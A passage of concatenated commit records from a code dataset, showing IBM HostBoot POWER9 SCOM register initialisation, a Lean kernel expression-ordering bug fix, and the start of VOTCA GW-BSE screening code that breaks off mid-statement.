FAPI_TRY(fapi2::getScom( TGT0, 0x3011803ull, l_scom_buffer ));\n\n            l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00200102000D7FFF );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011803ull, l_scom_buffer));\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x3011806ull, l_scom_buffer ));\n\n            l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x0000000000000000 );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011806ull, l_scom_buffer));\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x3011807ull, l_scom_buffer ));\n\n            if ((l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700 != literal_0))\n            {\n                l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DD0201C0000000 );\n            }\n            else if (( true ))\n            {\n                l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DF0201C0000000 );\n            }\n\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011807ull, l_scom_buffer));\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180aull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 31, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180aull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180bull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 28, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180bull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180eull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180eull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180full, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180full, l_scom_buffer));\n            }\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x301184dull, l_scom_buffer ));\n\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x20)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x21)) || ((l_chip_id == 0x5)\n                    && (l_chip_ec == 0x22)) || ((l_chip_id == 0x6) && (l_chip_ec == 0x10)) || ((l_chip_id == 0x6) && (l_chip_ec == 0x11)) )\n            {\n                l_scom_buffer.insert<0, 4, 60, uint64_t>(l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID );\n                l_scom_buffer.insert<4, 3, 61, uint64_t>(l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID );\n            }\n\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                l_scom_buffer.insert<19, 1, 63, uint64_t>(literal_0x1 );\n            }\n\n            FAPI_TRY(fapi2::putScom(TGT0, 0x301184dull, l_scom_buffer));\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x301184eull, l_scom_buffer ));\n\n            constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF = 0x0;\n            l_scom_buffer.insert<13, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF );\n\n            if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_GROUP))\n            {\n                constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON = 0x1;\n                l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON );\n            }\n            else if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_NODE))\n            {\n                constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF = 0x0;\n                l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF );\n            }\n\n            l_scom_buffer.insert<20, 8, 56, uint64_t>(literal_0xFC );\n            l_scom_buffer.insert<28, 8, 56, uint64_t>(literal_0xFC );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x301184eull, l_scom_buffer));\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x20)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301184full, l_scom_buffer ));\n\n                l_scom_buffer.insert<0, 1, 63, uint64_t>(literal_0x1 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301184full, l_scom_buffer));\n            }\n        }\n\n    };\nfapi_try_exit:\n    return fapi2::current_err;\n}\n<commit_msg>Adding p9a support.<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_vas_scom.C $  *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n#include \"p9_vas_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0x00200102000D7FFF = 0x00200102000D7FFF;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0 = 0;\nconstexpr uint64_t literal_0x00DD0201C0000000 = 0x00DD0201C0000000;\nconstexpr uint64_t literal_0x00DF0201C0000000 = 0x00DF0201C0000000;\nconstexpr uint64_t literal_0x0080000000000000 = 0x0080000000000000;\nconstexpr uint64_t literal_0x1 = 0x1;\nconstexpr uint64_t literal_0xFC = 0xFC;\n\nfapi2::ReturnCode p9_vas_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0,\n                              const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT1)\n{\n    {\n        fapi2::ATTR_EC_Type   l_chip_ec;\n        fapi2::ATTR_NAME_Type l_chip_id;\n        FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n        FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n        fapi2::ATTR_CHIP_EC_FEATURE_HW414700_Type l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_EC_FEATURE_HW414700, TGT0, l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700));\n        fapi2::ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID_Type l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID, TGT1, l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID));\n        fapi2::ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID_Type l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID, TGT1, l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID));\n        fapi2::ATTR_PROC_FABRIC_PUMP_MODE_Type l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_PUMP_MODE, TGT1, l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE));\n        fapi2::buffer<uint64_t> l_scom_buffer;\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x3011803ull, l_scom_buffer ));\n\n            l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00200102000D7FFF );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011803ull, l_scom_buffer));\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x3011806ull, l_scom_buffer ));\n\n            l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x0000000000000000 );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011806ull, l_scom_buffer));\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x3011807ull, l_scom_buffer ));\n\n            if ((l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700 != literal_0))\n            {\n                l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DD0201C0000000 );\n            }\n            else if (( true ))\n            {\n                l_scom_buffer.insert<0, 54, 0, uint64_t>(literal_0x00DF0201C0000000 );\n            }\n\n            FAPI_TRY(fapi2::putScom(TGT0, 0x3011807ull, l_scom_buffer));\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180aull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 31, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180aull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180bull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 28, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180bull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180eull, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180eull, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301180full, l_scom_buffer ));\n\n                l_scom_buffer.insert<8, 44, 8, uint64_t>(literal_0x0080000000000000 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301180full, l_scom_buffer));\n            }\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x20)) || ((l_chip_id == 0x5)\n                    && (l_chip_ec == 0x21)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x22)) || ((l_chip_id == 0x6) && (l_chip_ec == 0x10))\n                || ((l_chip_id == 0x6) && (l_chip_ec == 0x11)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301184dull, l_scom_buffer ));\n\n                if (((l_chip_id == 0x5) && (l_chip_ec == 0x20)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x21)) || ((l_chip_id == 0x5)\n                        && (l_chip_ec == 0x22)) || ((l_chip_id == 0x6) && (l_chip_ec == 0x10)) || ((l_chip_id == 0x6) && (l_chip_ec == 0x11)) )\n                {\n                    l_scom_buffer.insert<0, 4, 60, uint64_t>(l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID );\n                    l_scom_buffer.insert<4, 3, 61, uint64_t>(l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID );\n                }\n\n                if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) )\n                {\n                    l_scom_buffer.insert<19, 1, 63, uint64_t>(literal_0x1 );\n                }\n\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301184dull, l_scom_buffer));\n            }\n        }\n        {\n            FAPI_TRY(fapi2::getScom( TGT0, 0x301184eull, l_scom_buffer ));\n\n            constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF = 0x0;\n            l_scom_buffer.insert<13, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_ADDR_BAR_MODE_OFF );\n\n            if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_GROUP))\n            {\n                constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON = 0x1;\n                l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_ON );\n            }\n            else if ((l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_PUMP_MODE_CHIP_IS_NODE))\n            {\n                constexpr auto l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF = 0x0;\n                l_scom_buffer.insert<14, 1, 63, uint64_t>(l_VA_VA_SOUTH_VA_EG_EG_SCF_SKIP_G_OFF );\n            }\n\n            l_scom_buffer.insert<20, 8, 56, uint64_t>(literal_0xFC );\n            l_scom_buffer.insert<28, 8, 56, uint64_t>(literal_0xFC );\n            FAPI_TRY(fapi2::putScom(TGT0, 0x301184eull, l_scom_buffer));\n        }\n        {\n            if (((l_chip_id == 0x5) && (l_chip_ec == 0x10)) || ((l_chip_id == 0x5) && (l_chip_ec == 0x20)) )\n            {\n                FAPI_TRY(fapi2::getScom( TGT0, 0x301184full, l_scom_buffer ));\n\n                l_scom_buffer.insert<0, 1, 63, uint64_t>(literal_0x1 );\n                FAPI_TRY(fapi2::putScom(TGT0, 0x301184full, l_scom_buffer));\n            }\n        }\n\n    };\nfapi_try_exit:\n    return fapi2::current_err;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"kernel\/expr.h\"\n\nnamespace lean {\nbool is_lt(expr const & a, expr const & b, bool use_hash) {\n    if (is_eqp(a, b))                    return false;\n    if (!a && b)                         return true;  \/\/ the null expression is the smallest one\n    if (a && !b)                         return false;\n    if (a.kind() != b.kind())            return a.kind() < b.kind();\n    if (use_hash && a.hash() < b.hash()) return true;\n    if (a == b)                          return false;\n    if (is_var(a))                       return var_idx(a) < var_idx(b);\n    switch (a.kind()) {\n    case expr_kind::Var:\n        lean_unreachable(); \/\/ LCOV_EXCL_LINE\n    case expr_kind::Constant:\n        return const_name(a) < const_name(b);\n    case expr_kind::App:\n        if (num_args(a) != num_args(b))\n            return num_args(a) < num_args(b);\n        for (unsigned i = 0; i < num_args(a); i++) {\n            if (arg(a, i) != arg(b, i))\n                return is_lt(arg(a, i), arg(b, i), use_hash);\n        }\n        lean_unreachable(); \/\/ LCOV_EXCL_LINE\n    case expr_kind::Eq:\n        if (eq_lhs(a) != eq_lhs(b))\n            return is_lt(eq_lhs(a), eq_lhs(b), use_hash);\n        else\n            return is_lt(eq_rhs(a), eq_rhs(b), use_hash);\n    case expr_kind::Lambda:   \/\/ Remark: we ignore get_abs_name because we want alpha-equivalence\n    case expr_kind::Pi:\n        if (abst_domain(a) != abst_domain(b))\n            return is_lt(abst_domain(a), abst_domain(b), use_hash);\n        else\n            return is_lt(abst_body(a), abst_body(b), use_hash);\n    case expr_kind::Type:\n        return ty_level(a) < ty_level(b);\n    case expr_kind::Value:\n        return to_value(a) < to_value(b);\n    case expr_kind::Let:\n        if (let_type(a) != let_type(b)) {\n            return is_lt(let_type(a), let_type(b), use_hash);\n        } else if (let_value(a) != let_value(b)){\n            return is_lt(let_value(a), let_value(b), use_hash);\n        } else {\n            return is_lt(let_body(a), let_body(b), use_hash);\n        }\n    case expr_kind::MetaVar:\n        if (metavar_name(a) != metavar_name(b)) {\n            return metavar_name(a) < metavar_name(b);\n        } else {\n            auto it1  = metavar_lctx(a).begin();\n            auto it2  = metavar_lctx(b).begin();\n            auto end1 = metavar_lctx(a).end();\n            auto end2 = metavar_lctx(b).end();\n            for (; it1 != end1 && it2 != end2; ++it1, ++it2) {\n                if (it1->kind() != it2->kind()) {\n                    return it1->kind() < it2->kind();\n                } else if (it1->s() != it2->s()) {\n                    return it1->s() < it2->s();\n                } else if (it1->is_inst()) {\n                    if (it1->v() != it2->v())\n                        return is_lt(it1->v(), it2->v(), use_hash);\n                } else {\n                    if (it1->n() != it2->n())\n                        return it1->n() < it2->n();\n                }\n            }\n            return it1 == end1 && it2 != end2;\n        }\n    }\n    lean_unreachable(); \/\/ LCOV_EXCL_LINE\n}\n}\n<commit_msg>fix(library\/expr_lt): fix bug when using hash codes<commit_after>\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"kernel\/expr.h\"\n\nnamespace lean {\nbool is_lt(expr const & a, expr const & b, bool use_hash) {\n    if (is_eqp(a, b))                    return false;\n    if (!a && b)                         return true;  \/\/ the null expression is the smallest one\n    if (a && !b)                         return false;\n    if (a.kind() != b.kind())            return a.kind() < b.kind();\n    if (use_hash) {\n        if (a.hash() < b.hash()) return true;\n        if (a.hash() > b.hash()) return false;\n    }\n    if (a == b)                          return false;\n    if (is_var(a))                       return var_idx(a) < var_idx(b);\n    switch (a.kind()) {\n    case expr_kind::Var:\n        lean_unreachable(); \/\/ LCOV_EXCL_LINE\n    case expr_kind::Constant:\n        return const_name(a) < const_name(b);\n    case expr_kind::App:\n        if (num_args(a) != num_args(b))\n            return num_args(a) < num_args(b);\n        for (unsigned i = 0; i < num_args(a); i++) {\n            if (arg(a, i) != arg(b, i))\n                return is_lt(arg(a, i), arg(b, i), use_hash);\n        }\n        lean_unreachable(); \/\/ LCOV_EXCL_LINE\n    case expr_kind::Eq:\n        if (eq_lhs(a) != eq_lhs(b))\n            return is_lt(eq_lhs(a), eq_lhs(b), use_hash);\n        else\n            return is_lt(eq_rhs(a), eq_rhs(b), use_hash);\n    case expr_kind::Lambda:   \/\/ Remark: we ignore get_abs_name because we want alpha-equivalence\n    case expr_kind::Pi:\n        if (abst_domain(a) != abst_domain(b))\n            return is_lt(abst_domain(a), abst_domain(b), use_hash);\n        else\n            return is_lt(abst_body(a), abst_body(b), use_hash);\n    case expr_kind::Type:\n        return ty_level(a) < ty_level(b);\n    case expr_kind::Value:\n        return to_value(a) < to_value(b);\n    case expr_kind::Let:\n        if (let_type(a) != let_type(b)) {\n            return is_lt(let_type(a), let_type(b), use_hash);\n        } else if (let_value(a) != let_value(b)){\n            return is_lt(let_value(a), let_value(b), use_hash);\n        } else {\n            return is_lt(let_body(a), let_body(b), use_hash);\n        }\n    case expr_kind::MetaVar:\n        if (metavar_name(a) != metavar_name(b)) {\n            return metavar_name(a) < metavar_name(b);\n        } else {\n            auto it1  = metavar_lctx(a).begin();\n            auto it2  = metavar_lctx(b).begin();\n            auto end1 = metavar_lctx(a).end();\n            auto end2 = metavar_lctx(b).end();\n            for (; it1 != end1 && it2 != end2; ++it1, ++it2) {\n                if (it1->kind() != it2->kind()) {\n                    return it1->kind() < it2->kind();\n                } else if (it1->s() != it2->s()) {\n                    return it1->s() < it2->s();\n                } else if (it1->is_inst()) {\n                    if (it1->v() != it2->v())\n                        return is_lt(it1->v(), it2->v(), use_hash);\n                } else {\n                    if (it1->n() != it2->n())\n                        return it1->n() < it2->n();\n                }\n            }\n            return it1 == end1 && it2 != end2;\n        }\n    }\n    lean_unreachable(); \/\/ LCOV_EXCL_LINE\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *            Copyright 2009-2017 The VOTCA Development Team\n *                       (http:\/\/www.votca.org)\n *\n *      Licensed under the Apache License, Version 2.0 (the \"License\")\n *\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *              http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n\n\n#include <votca\/xtp\/gwbse.h>\n\n#include <boost\/format.hpp>\n#include <boost\/filesystem.hpp>\n#include <boost\/numeric\/ublas\/operation.hpp>\n#include <votca\/xtp\/aomatrix.h>\n#include <votca\/xtp\/threecenters.h>\n\/\/ #include <votca\/xtp\/logger.h>\n#include <votca\/xtp\/qmpackagefactory.h>\n#include <boost\/math\/constants\/constants.hpp>\n#include <boost\/numeric\/ublas\/symmetric.hpp>\n#include <votca\/xtp\/aoshell.h>\n\nusing boost::format;\nusing namespace boost::filesystem;\n\nnamespace votca {\n    namespace xtp {\n        namespace ub = boost::numeric::ublas;\n\n        void GWBSE::PPM_construct_parameters(const ub::matrix<double>& _overlap_cholesky_inverse) {\n            \n            \/\/ multiply with L-1^t from the right\n             \n            ub::matrix<double> _temp = ub::prod(_epsilon[0], ub::trans(_overlap_cholesky_inverse));\n            \/\/ multiply with L-1 from the left\n            \n            _temp = ub::prod(_overlap_cholesky_inverse, _temp);\n\n            \/\/ get eigenvalues and eigenvectors of this matrix\n            ub::vector<double> _eigenvalues;\n            ub::matrix<double> _eigenvectors;\n           \n            linalg_eigenvalues(_temp, _eigenvalues, _eigenvectors);\n            _eigenvectors=ub::trans(_eigenvectors);\n            \/\/ multiply eigenvectors with overlap_cholesky_inverse and store as eigenvalues of epsilon\n            _ppm_phi = ub::prod(_eigenvectors, ub::trans(_overlap_cholesky_inverse));\n            \n            \/\/ store PPM weights from eigenvalues\n            _ppm_weight.resize(_eigenvalues.size());\n            for (unsigned _i = 0; _i < _eigenvalues.size(); _i++) {\n                _ppm_weight(_i) = 1.0 - 1.0 \/ _eigenvalues(_i);\n            }\n\n            \/\/ determine PPM frequencies\n            _ppm_freq.resize(_eigenvalues.size());\n            \/\/ a) phi^t * epsilon(1) * phi \n           \n            _temp = ub::prod(_ppm_phi, _epsilon[1]);\n            \n            _eigenvectors = ub::prod(_temp, ub::trans(_ppm_phi));\n            \/\/ b) invert\n            \n            linalg_invert(_eigenvectors, _temp);\n            \/\/ c) PPM parameters -> diagonal elements\n            \n            #pragma omp parallel for \n            for (unsigned _i = 0; _i < _eigenvalues.size(); _i++) {\n\n                if (_screening_freq(1, 0) == 0.0) {\n                    if (_ppm_weight(_i) < 1.e-5) {\n                        _ppm_weight(_i) = 0.0;\n                        _ppm_freq(_i) = 0.5;\/\/Hartree\n                        continue;\n                    } else {\n                        double _nom = _temp(_i, _i) - 1.0;\n                        double _frac = -1.0 * _nom \/ (_nom + _ppm_weight(_i)) * _screening_freq(1, 1) * _screening_freq(1, 1);\n                        _ppm_freq(_i) = sqrt(std::abs(_frac));\n                    }\n\n                } else {\n                    \/\/ only purely imaginary frequency assumed\n                    cerr << \" mixed frequency! real part: \" << _screening_freq(1, 0) << \" imaginary part: \" << _screening_freq(1, 1) << flush;\n                    exit(1);\n                }\n\n            }\n \n            \/\/ epsilon can be deleted\n            _epsilon[0].resize(0, 0);\n            _epsilon[1].resize(0, 0);\n            \n\n            return;\n        }\n        \n        \n        \/\/imaginary\n        ub::matrix<double> GWBSE::RPA_imaginary(const TCMatrix& _Mmn_RPA,const double screening_freq) {\n            const int _size = _Mmn_RPA.get_beta(); \/\/ size of gwbasis\n            const int index_n = _Mmn_RPA.get_nmin();\n            const int index_m = _Mmn_RPA.get_mmin();\n            const double screenf2=screening_freq * screening_freq;\n            \n            std::vector<ub::matrix<double> > result_thread;\n            unsigned nthreads = 1;\n            #ifdef _OPENMP\n               nthreads = omp_get_max_threads();\n            #endif\n            const ub::vector<double>& qp_energies=   _qp_energies;\n              \n            for(unsigned i=0;i<nthreads;++i){\n                result_thread.push_back(ub::zero_matrix<double>(_size));\n            }\n            \n            #pragma omp parallel for \n            for(unsigned thread=0;thread<nthreads;++thread){\n            for (int _m_level = thread; _m_level < _Mmn_RPA.get_mtot(); _m_level+=nthreads) {\n                const double _qp_energy_m=qp_energies(_m_level + index_m);\n#if (GWBSE_DOUBLE)\n                const ub::matrix<double>& Mmn_RPA = _Mmn_RPA[ _m_level ];\n#else\n                const ub::matrix<double> Mmn_RPA = _Mmn_RPA[ _m_level ];\n#endif\n                \/\/ a temporary matrix, that will get filled in empty levels loop\n                ub::matrix<double> _temp = ub::matrix<double>(_Mmn_RPA.get_ntot(), _size);\n\n                \/\/ loop over empty levels\n                for (int _n_level = 0; _n_level < _Mmn_RPA.get_ntot(); _n_level++) {\n                    \n\n                    const double _deltaE = qp_energies(_n_level + index_n) -_qp_energy_m ; \/\/ get indices and units right!!!\n\n                    \/\/ this only works, if we have either purely real or purely imaginary frequencies\n\n                    \/\/ purely imaginary\n                    const double _energy_factor = 4.0 * _deltaE \/ (_deltaE * _deltaE + screenf2);\/\/hartree\n                    for (int _i_gw = 0; _i_gw < _size; _i_gw++) {\n                        _temp(_n_level, _i_gw) = _energy_factor * Mmn_RPA(_i_gw, _n_level);\n                    } \/\/ matrix size\n\n                } \/\/ empty levels\n\n                \/\/ now multiply and add to epsilon\n                result_thread[thread] += ub::prod(Mmn_RPA, _temp);\n            } \/\/ occupied levels\n            }\n            ub::matrix<double> result=ub::zero_matrix<double>(_size);\n               for(unsigned thread=0;thread<nthreads;++thread){\n                   result+=result_thread[thread];\n               }\n            return result;\n        }\n        \/\/real\n\n        ub::matrix<double> GWBSE::RPA_real(const TCMatrix& _Mmn_RPA, const double screening_freq) {\n            const int _size = _Mmn_RPA.get_beta(); \/\/ size of gwbasis\n            const int index_n = _Mmn_RPA.get_nmin();\n            const int index_m = _Mmn_RPA.get_mmin();\n            const ub::vector<double>& qp_energies=   _qp_energies;\n            \n            std::vector<ub::matrix<double> > result_thread;\n            unsigned nthreads = 1;\n            #ifdef _OPENMP\n               nthreads = omp_get_max_threads();\n            #endif\n               \n              \n            for(unsigned i=0;i<nthreads;++i){\n                result_thread.push_back(ub::zero_matrix<double>(_size));\n            }\n            \n            #pragma omp parallel for \n            for(unsigned thread=0;thread<nthreads;++thread){\n            for (int _m_level = thread; _m_level < _Mmn_RPA.get_mtot(); _m_level+=nthreads) {\n                const double _qp_energy_m=qp_energies(_m_level + index_m);\n                \n                \n#if (GWBSE_DOUBLE)\n                const ub::matrix<double>& Mmn_RPA = _Mmn_RPA[ _m_level ];\n#else\n                const ub::matrix<double> Mmn_RPA = _Mmn_RPA[ _m_level ];\n#endif\n\n                \/\/ a temporary matrix, that will get filled in empty levels loop\n                ub::matrix<double> _temp = ub::matrix<double>(_Mmn_RPA.get_ntot(), _size);\n                \n\n                \/\/ loop over empty levels\n                for (int _n_level = 0; _n_level < _Mmn_RPA.get_ntot(); _n_level++) {\n                    int index_n = _Mmn_RPA.get_nmin();\n\n\n                    const double _deltaE = qp_energies(_n_level + index_n) - _qp_energy_m; \/\/ get indices and units right!!!\n\n                    \/\/ this only works, if we have either purely real or purely imaginary frequencies\n\n                    \/\/ purely real\n                    const double _energy_factor =2.0*  (1.0 \/ (_deltaE - screening_freq) + 1.0 \/ (_deltaE + screening_freq));\/\/hartree\n\n                    for (int _i_gw = 0; _i_gw < _size; _i_gw++) {\n                        _temp(_n_level, _i_gw) = _energy_factor * Mmn_RPA(_i_gw, _n_level);\n                    } \/\/ matrix size\n\n                } \/\/ empty levels\n\n                \/\/ now multiply and add to epsilon\n               \n               \n                result_thread[thread] += ub::prod(Mmn_RPA, _temp);\n                \n            } \/\/ occupied levels\n            }\n               ub::matrix<double> result=ub::zero_matrix<double>(_size);\n               for(unsigned thread=0;thread<nthreads;++thread){\n                   result+=result_thread[thread];\n               }\n              \n            return result;\n        }\n        \n\n    void GWBSE::RPA_calculate_epsilon(const TCMatrix& _Mmn_RPA){\n\n        \/\/ loop over frequencies\n        for ( unsigned _i_freq = 0 ; _i_freq < _screening_freq.size1() ; _i_freq++ ){\n           \n             if ( _screening_freq( _i_freq, 0) == 0.0 ) {         \n                 _epsilon[ _i_freq ]+=RPA_imaginary(_Mmn_RPA, _screening_freq( _i_freq, 1));\n             }\n\n             else if ( _screening_freq( _i_freq, 1) == 0.0  ) {\n                  \/\/ purely real\n                 _epsilon[ _i_freq ]+= RPA_real(_Mmn_RPA, _screening_freq( _i_freq, 0));\n                    } \n             else {\n                    \/\/ mixed -> FAIL\n                    cerr << \" mixed frequency! real 